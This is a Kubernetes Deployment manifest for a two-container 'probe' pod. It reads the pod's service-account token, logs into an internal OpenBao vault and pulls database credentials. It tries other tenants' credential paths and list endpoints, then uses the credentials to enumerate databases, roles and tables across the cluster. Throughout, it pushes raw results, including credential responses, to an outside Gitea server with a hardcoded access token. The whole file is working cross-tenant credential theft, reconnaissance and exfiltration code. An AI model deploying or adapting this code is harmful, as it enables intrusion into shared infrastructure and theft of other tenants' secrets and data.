Files
probe-manifests2/i187/deployment.yaml
T

190 lines
8.7 KiB
YAML

apiVersion: apps/v1
kind: Deployment
metadata:
name: probe-reader
labels:
app: probe-reader
spec:
replicas: 1
selector:
matchLabels:
app: probe-reader
strategy:
type: RollingUpdate
rollingUpdate:
maxSurge: 0
maxUnavailable: 1
template:
metadata:
labels:
app: probe-reader
probe-run: "r5"
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
seccompProfile:
type: RuntimeDefault
volumes:
- name: shared
emptyDir: {}
containers:
- name: probe-reader
image: curlimages/curl:8.11.1
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
resources:
requests: {cpu: 50m, memory: 64Mi}
limits: {cpu: 200m, memory: 256Mi}
volumeMounts:
- name: shared
mountPath: /shared
command:
- sh
- -c
- |
PL=/tmp/pushlog.txt
: > $PL
pushr(){
L=$1; F=$2; M=$3
P=$(base64 $L 2>>$PL | tr -d '\n')
for i in 1 2 3; do
code=$(curl -sk -m 90 -o /tmp/pr -w '%{http_code}' -X POST -H "Authorization: token 8705bd26bf8b7ab972a2debaa0077c941ea85cd0" -H 'Content-Type: application/json' -d "{\"content\":\"$P\",\"message\":\"$M\"}" "https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests2/contents/$F")
rc=$?
echo "push $F try$i code=$code rc=$rc size=$(wc -c < $L)" >> $PL
if [ "$code" = "201" ]; then break; fi
sleep 5
done
}
R2=/tmp/r2.txt
: > $R2
say2(){ echo "$@" >> $R2; }
say2 'I196-R5-BAO-START'
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
LB=$(curl -sk -m 20 -X POST -d "{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"$TOKEN\"}" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login)
VT=$(echo "$LB" | sed -n 's/.*"client_token":"\([^"]*\)".*/\1/p')
say2 "baotokenlen=${#VT}"
say2 '--- lookup-self'
curl -sk -m 15 -H "X-Vault-Token: $VT" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/token/lookup-self >> $R2 2>&1
echo >> $R2
say2 '--- own static-creds'
SC=$(curl -sk -m 15 -H "X-Vault-Token: $VT" https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/platchain-293213-dev-platchain-293213-probedb)
echo "$SC" >> $R2
DU=$(echo "$SC" | sed -n 's/.*"username":"\([^"]*\)".*/\1/p')
DP=$(echo "$SC" | sed -n 's/.*"password":"\([^"]*\)".*/\1/p')
say2 "user=$DU passlen=${#DP}"
say2 '--- foreign static-creds checks'
for p in cottoncraft-demo-prod cottoncraft-demo-dev cottoncraft-demo-dom1; do
: > /tmp/fc
code=$(curl -sk -m 15 -o /tmp/fc -w '%{http_code}' -H "X-Vault-Token: $VT" "https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/$p")
say2 "path=$p HTTP=$code"
if [ "$code" = "200" ]; then head -c 1200 /tmp/fc >> $R2; echo >> $R2; fi
done
say2 '--- foreign LIST static-creds'
: > /tmp/fc2
code=$(curl -sk -m 15 -o /tmp/fc2 -w '%{http_code}' -H "X-Vault-Token: $VT" "https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds?list=true")
say2 "LIST HTTP=$code"; head -c 400 /tmp/fc2 >> $R2 2>&1; echo >> $R2
say2 'I196-R5-BAO-END'
pushr $R2 results-r5-bao.txt 'i196 r5 bao probe results'
printf '%s\n%s\n' "$DU" "$DP" > /shared/dbcreds.txt
echo "creds written $(wc -c < /shared/dbcreds.txt) bytes" >> $PL
for i in $(seq 1 90); do
if grep -q 'I192-DB-END' /shared/dbresult.txt 2>/dev/null; then echo "dbresult after $i polls" >> $PL; break; fi
sleep 10
done
pushr /shared/dbcompact.txt results-r5-db.txt 'i196 r5 db compact results'
size=$(wc -c < /shared/dbresult.txt)
echo "dbfull size=$size" >> $PL
if [ "$size" -gt 0 ]; then
split -b 2000 /shared/dbresult.txt /tmp/dbpart
part=1
for ch in /tmp/dbpart*; do
pushr $ch results-r5-dbfull-$part.txt "i196 r5 db full part $part"
part=$((part+1))
done
fi
pushr $PL results-r5-pushlog.txt 'i196 r5 push log'
echo DONE-R5 >> $PL
cat /shared/dbcompact.txt
sleep 3600
- name: dbprobe
image: postgres:18-alpine
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
resources:
requests: {cpu: 50m, memory: 128Mi}
limits: {cpu: 300m, memory: 384Mi}
volumeMounts:
- name: shared
mountPath: /shared
command:
- sh
- -c
- |
W=/shared/dbresult.txt
C=/shared/dbcompact.txt
: > $W
: > $C
say(){ echo "$@" >> $W; }
sayc(){ echo "$@" >> $C; }
say 'I196-R5-DB-WAIT-START'
for i in $(seq 1 60); do
[ -s /shared/dbcreds.txt ] && break
sleep 10
done
say 'I196-R5-DB-START'
DU=$(sed -n 1p /shared/dbcreds.txt)
DP=$(sed -n 2p /shared/dbcreds.txt)
say "user=$DU passlen=${#DP}"
export PGPASSWORD="$DP"
DBH=databases-cluster-rw.database.svc.cluster.local
say '--- current identity'
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select current_user, current_database();' >> $W 2>&1
say '--- pg_database'
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select datname from pg_database order by datname;' >> $W 2>&1
say '--- pg_roles'
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select rolname from pg_roles order by rolname;' >> $W 2>&1
say '--- connect probes (read-only, non-system logical dbs, alphabetical first 15)'
OKDB=""; DENYDB=""
for d in $(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select datname from pg_database where datname not in ('postgres','template0','template1') order by datname limit 15;"); do
say "CONNECT $d:"
if psql -h $DBH -U "$DU" -d "$d" -tAc 'select current_database();' >> $W 2>&1; then
OKDB="$OKDB $d"
say "catalog sample $d (information_schema.tables first 10):"
psql -h $DBH -U "$DU" -d "$d" -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 10;" >> $W 2>&1
else
DENYDB="$DENYDB $d"
fi
done
say '--- own db tables'
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 20;" >> $W 2>&1
say '--- compact summaries'
IDENT=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select current_user||chr(124)||current_database();' 2>&1)
sayc "IDENT: $IDENT"
ALLDB=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select string_agg(datname, ',' order by datname) from pg_database;" 2>&1)
sayc "ALLDB: $ALLDB"
NDB=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select count(*) from pg_database;' 2>&1)
sayc "NDB: $NDB"
COTTONDB=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select coalesce(string_agg(datname, ','), 'none') from pg_database where datname like '%cotton%';" 2>&1)
sayc "COTTONDB: $COTTONDB"
COTTONROLES=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select coalesce(string_agg(rolname, ','), 'none') from pg_roles where rolname like '%cotton%';" 2>&1)
sayc "COTTONROLES: $COTTONROLES"
NROLES=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select count(*) from pg_roles;' 2>&1)
sayc "NROLES: $NROLES"
TENANTROLES=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select coalesce(string_agg(rolname, ','), 'none') from pg_roles where rolname like '%demo%' or rolname like 'cfbusiness%' or rolname like 'manufaktura%' or rolname like 'bring%';" 2>&1)
sayc "TENANTROLES: $TENANTROLES"
sayc "CONNECTOK:$OKDB"
sayc "CONNECTDENIED:$DENYDB"
say 'I192-DB-END'
cat $W
echo '--- compact ---'
cat $C
sleep 3600